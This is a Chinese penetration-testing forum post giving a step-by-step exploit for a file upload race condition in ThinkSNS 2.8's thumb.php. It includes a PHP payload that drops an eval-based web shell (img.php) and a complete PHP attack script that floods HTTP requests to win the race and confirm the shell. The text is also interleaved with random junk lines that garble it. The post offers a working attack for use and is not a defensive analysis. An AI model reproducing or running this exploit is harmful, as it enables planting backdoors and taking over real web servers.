中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
/ m: _% _. J. L' h2 a
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
+ G% X: x+ J; ?
漏洞文件
0 q* B3 z) F& t0 ]( J3 c) C
存在漏洞的文件为:thumb.php
, ]4 m. w- l7 {# L" s* a" q* U3 j! ~
作者:韦鲲鹏
" I3 I0 [* }' T* y/ z
1、 准备如下PHP文件并上传到服务器(自己的)。
3 U$ \3 ^" v8 H A5 i
文件内容如下:
% l0 Y. j, e1 _# G4 `
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
: _- g L. n0 W& P2 Y+ |% n
2、 计算出临时的文件名:
, P! p6 l7 n- ] u# j# o$ b
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
5 N' ]" g! [3 o1 }0 H
# Z# i# j- p. a N1 @2 ~. y8 d4 }0 G
3、 上传临时文件。
) v8 @6 _' `3 @( D( \2 _2 h: d
4、 访问临时文件。
a1 ?# |6 Q4 ]$ Q; z$ P
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
" G: o8 D% H0 ^1 d$ }, q$ H
Exploit文件内容如下:(这个我就不详细解释了)
* B& X: ^1 p2 ^: F7 X% a
<?php
4 w7 O. s. _. k% t
error_reporting(0);
' s1 w6 H+ f9 t e& d0 r$ ?; H
set_time_limit(0);
; m& y1 c) J! }+ v
ini_set(“default_socket_timeout”, 5);
I( c# W/ e; E- u/ A
function http_send($host, $port, $headers) {
8 M! {. p4 ^4 q- P) ]
$fp = fsockopen($host, $port);
! {. L6 v% Q! ^% s5 \9 {' A
if (!$fp) die(‘Connection -> fail’);
( k, C9 q" }! V$ U- R3 N" V
fputs($fp, $headers);
% v! e% r7 W- n8 |
return $fp;
- F3 M: k$ g7 C* k. D
}
; T; b' C2 Q5 V5 \' x
function http_recv($fp) {
' a- K: I) r8 { a
$ret=”";
8 _. M" U: t* a
while (!feof($fp))
' J- [3 F& \5 A! |3 s9 t
$ret.= fgets($fp, 1024);
, s, i6 ~9 \ G) ]+ g
fclose($fp);
7 r1 Q( N& m4 a9 H9 y1 j' S9 C9 E
return $ret;
, s: c. m6 B+ ^3 S
}
8 x: f* R0 K( g$ D% v4 `
print “\n# ThinkSns Arbitrary File Upload #\n”;
- b/ @5 F. _! z2 v; Z
print “# Discovered by 韦鲲鹏 #\n\n”;
# K+ L! J1 |: w( I
if ($argc < 4) {
! l3 J2 V' j% |2 w, I" D
print “Usage: php <host> <path> <romote_url>\n”;
2 K$ {# S' q" G! r
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
$ T* {1 n6 y# ~
die();
$ I6 C9 M/ d6 X0 z7 G t4 l9 u
}
) \' m3 Q& t. L5 q3 ~, q; x
$host = $argv[1];
+ e7 c g3 b3 A5 B& p
$path = $argv[2];
& n* I; v7 G& J, d
$url = $argv[3];
4 V$ M Q% N8 b+ u* _
$i=0;
' N6 Q. F* w5 w( t w4 ]' r
//上传数据包
0 A; X% o5 M, V$ n6 Y
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
# |: L$ ?" h4 Z
$headers_up .= “Host: “.$host.”\r\n”;
2 z! n& k7 Y* G1 t
$headers_up .= “Connection: close\r\n\r\n”;
0 F* D. J o9 f( U6 C
echo $headers_up;
F; Z* i3 x) G) K4 C8 m1 F" g9 C
//临时文件访问数据包
$ U' X" n) r4 r
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
5 Y: y: h& W3 h/ [/ L
$headers .= “Host: “.$host.”\r\n”;
7 Z* m/ H0 x8 y
$headers .= “Connection: close\r\n\r\n”;
K C6 w) A3 A+ [. u9 p1 M, W
echo $headers;
3 Y- a9 _! |/ Q$ e3 i
while(++$i<10) {
4 i8 W/ S2 N( Q
fclose(http_send($host, 80, $headers));
, ]( T9 e! A6 \/ Z: V( y
}
6 ?+ d8 F( p9 z0 y0 R+ \( Q
fclose(http_send($host, 80, $headers_up));
7 l# M7 u% o+ `$ q& c! x
while(++$i<50) {
. K/ K' S6 l0 p. F* L7 s
fclose(http_send($host, 80, $headers));
: _* ]/ I: `+ k( T8 C: H
}
/ _$ k8 D6 a, E _+ t* ~6 r
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
1 p0 O$ n! j% x! {# A
$headers .= “Host: “.$host.”\r\n”;
6 p; U9 L" a2 f& [ `9 |
$headers .= “Connection: close\r\n\r\n”;
/ z5 v, y7 Y, {/ u: y% s
$res=http_recv(http_send($host, 80, $headers));
- d- c3 s3 S4 V# H
if(preg_match(‘/200 OK/’,$res)) {
8 v1 k% L& I8 [0 w( L
print “Success!\n\n”;
! c) N+ y) Q/ D
} else {
& Y' m9 ~; S7 x/ |, e7 ~
print “Fail!\n\n”;
5 l* Y) `! H) c' A' F2 J' M( ^5 k/ K
}
* W* }, @1 l+ M# o, O
?>
1 k! Q. |$ r# `- g4 `6 l
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2